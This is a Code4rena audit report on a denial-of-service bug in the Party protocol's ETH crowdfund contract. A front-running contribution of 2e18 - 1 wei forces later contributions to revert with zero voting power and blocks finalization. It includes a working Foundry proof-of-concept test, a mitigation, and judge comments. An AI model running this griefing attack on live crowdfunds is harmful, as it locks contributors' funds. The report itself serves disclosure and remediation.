ETHCrowdfundBase.sol#_processContribution - Possible DoS on finalization of crowdfund under certain conditions

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/crowdfund/ETHCrowdfundBase.sol#L196-L273

Vulnerability details

Impact

There is a check inside _processContribution, which checks if (votingPower == 0) and reverts if true.

Now let's see how we can force it to revert.

If maxTotalContributions == minTotalContributions and exchangeRateBps < 1e4, we can force a rounding down to 0, when totalContributions = maxTotalContribtuions - 1.

Let's take a look at an example:
Note that this is allowed:

        ETHCrowdfundBase.sol#_initialize
        ...
        // Set the min total contributions.
        if (opts.minTotalContributions > opts.maxTotalContributions) { // The check isn't strict enough
            revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
        }

minTotalContributions = 10e18
maxTotalContributions = 10e18
exchangeRateBps = 0.5e4

1. Alice contributes 5e18 to the crowdfund.
2. Bob contributes 3e18 to the crowdfund.
3. At this point 2e18 is needed to finalize the crowdfund.
4. Alice attempts to contribute 2e18, so the crowdfund can be finalized, but is front ran by Charlie (malicious).
5. Charlie calls contribute with 2e18 - 1. totalContributions becomes 10e18 - 1, so 1 wei is needed to finalize the crowdfund.
6. Alice's contribute gets executed. She gets refunded 2e18 - 1 (since only 1 wei is needed for finalization) .

       if (newTotalContributions >= maxTotalContributions_) {
            totalContributions = maxTotalContributions_;

            // Finalize the crowdfund.
            // This occurs before refunding excess contribution to act as a
            // reentrancy guard.
            _finalize(maxTotalContributions_);

            // Refund excess contribution.
            //       2e18 - 1             12e18 - 1            10e18
            uint96 refundAmount = newTotalContributions - maxTotalContributions;
            if (refundAmount > 0) {
            //    1      2e18 - (2e18 - 1)
                amount -= refundAmount;
                emit TestRefund(newTotalContributions, maxTotalContributions, refundAmount);
                payable(msg.sender).transferEth(refundAmount);
            }
        }

So amount = 1
8. This line is hit:

           votingPower = (amount * exchangeRateBps) / 1e4;

Calculating this we get: (1 * 0.5e4) / 1e4 = 0.5 which rounds down to 0.
7. Then we hit the next line:

           if (votingPower == 0) revert ZeroVotingPowerError();

We will always force a revert here, no matter what original amount is sent, since we refund the excess.
8. A host attempts to call finalize, but it reverts because of this:

            // Check that the crowdfund has reached its minimum goal.
            uint96 minTotalContributions_ = minTotalContributions;
            //       10e18 - 1              10e18
            if (totalContributions_ < minTotalContributions_) {
                revert NotEnoughContributionsError(totalContributions_, minTotalContributions_);
            }

Keep in mind that minTotalContributions, maxTotalContributions and exchangeRateBps cannot be changed after creation of the crowdfund.

Users will be able to call refund only after the crowdfund is Lost.

The DoS will last as long as the duration of the crowdfund. If duration = 14 days, then the users will recover their funds after 14 days.

Note that if emergencyDisabled = true, the DAO won't be able to retrieve their funds through emergencyExecute and the users will have to wait until the crowdfund is lost.

Proof of Concept

Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest and run forge test --mt test_dosOnFinalizationWhenReachingTheMaxTotalContributions -vvvv

function test_dosOnFinalizationWhenReachingTheMaxTotalContributions() public {
        InitialETHCrowdfund crowdfund = _createCrowdfund(
            CreateCrowdfundArgs({
                initialContribution: 0,
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0, 
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false,
                minTotalContributions: 10e18, // note the two values
                maxTotalContributions: 10e18, 
                duration: 7 days,
                exchangeRateBps: 0.5e4, //note the exchange rate
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            })
        );
        Party party = crowdfund.party();

        // Alice contributes
        address alice = _randomAddress();
        vm.deal(alice, 10_000e18);
        vm.prank(alice);
        crowdfund.contribute{value: 5e18}(address(alice), "");

        // Bob contributes
        address bob = _randomAddress();
        vm.deal(bob, 10_000e18);
        vm.prank(bob);
        crowdfund.contribute{value: 3e18}(address(bob), "");

        // A malicious address front runs Alice's contribution and 
        // contributes so that totalContributions = 10 ether - 1
        address malicious = _randomAddress();
        vm.deal(malicious, 10_000e18);
        vm.prank(malicious);
        crowdfund.contribute{value: 2e18 - 1 }(address(malicious), "");

        // Alice attempts to finalize the crowdfund by sending 2 ether,
        // but the tx reverts
        vm.prank(alice);
        vm.expectRevert();
        crowdfund.contribute{value: 2e18 }(address(alice), "");

        // The host can't finalize the crowdfund as well.
        vm.prank(address(this));
        vm.expectRevert();
        crowdfund.finalize();
    }

Tools Used

Manual Review
Foundry

Recommended Mitigation Steps

Enforce the constraint to be more strict:

        // Enforce >=, instead of >
        if (opts.minTotalContributions >= opts.maxTotalContributions) { 
            revert MinGreaterThanMaxError(opts.minTotalContributions, opts.maxTotalContributions);
        }

Assessed type

DoS

[ydspa]

QA: NC

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[c4-judge]

gzeon-c4 marked the issue as satisfactory

[c4-judge]

gzeon-c4 marked the issue as selected for report

[gzeon-c4]

Similar to #552 but this attack works even when minContributions is set to 0. @0xble

It seems that to avoid both problem we need both

1. maxTotalContributions - minTotalContribution > minContribution
2. minContribution * exchangeRateBps > 1000

[c4-sponsor]

0xble (sponsor) acknowledged